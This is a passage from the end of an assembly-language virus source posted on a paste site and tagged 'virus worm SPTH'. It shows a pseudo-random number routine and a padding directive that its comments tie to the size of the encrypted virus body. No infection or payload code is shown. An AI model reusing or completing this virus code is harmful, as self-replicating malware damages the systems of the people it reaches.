  1923.  
  1924.  
  1925. GetRandomNumber:
  1926.     pushad
  1927.         xor edx, edx
  1928.         mov eax, dword[RandomNumber]
  1929.         ror eax, 16
  1930.  
  1931.         mov ebx, 1103515245
  1932.         mul ebx        ; EDX:EAX = EDX:EAX * EBX
  1933.  
  1934.         add eax, 12345
  1935.         rol eax, 16
  1936.         mov dword[RandomNumber], eax
  1937.     popad
  1938. ret
  1939.  
  1940. CreateSpecialRndNumber:
  1941. ; in: ebx, ecx
  1942. ; out: edx=(rand()%ebx + ecx)
  1943.  
  1944.         call    GetRandomNumber
  1945.  
  1946.         xor edx, edx
  1947.         mov eax, dword[RandomNumber]
  1948.         div ebx
  1949.  
  1950.         add edx, ecx
  1951. ret
  1952.  
  1953. WholeCodeEnd:
  1954.  
  1955. times (175'269 + 7 * 1149 - (WholeCodeEnd-StartEngine)) db 0x0       ; 1st generation padding
  1956.                            ; This is average size of encrypted virus + 7 * sigma - 1st gen. code
  1957.                            ; 7*sigma ~ 99.999999999744 % of all cases
  1958.                            ; (i took the average of 15files, as statistics is very high in one
  1959.                            ; file, this is to a very good approx. gauss distributed)
  1960. .end start
Tags: virus worm SPTH
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement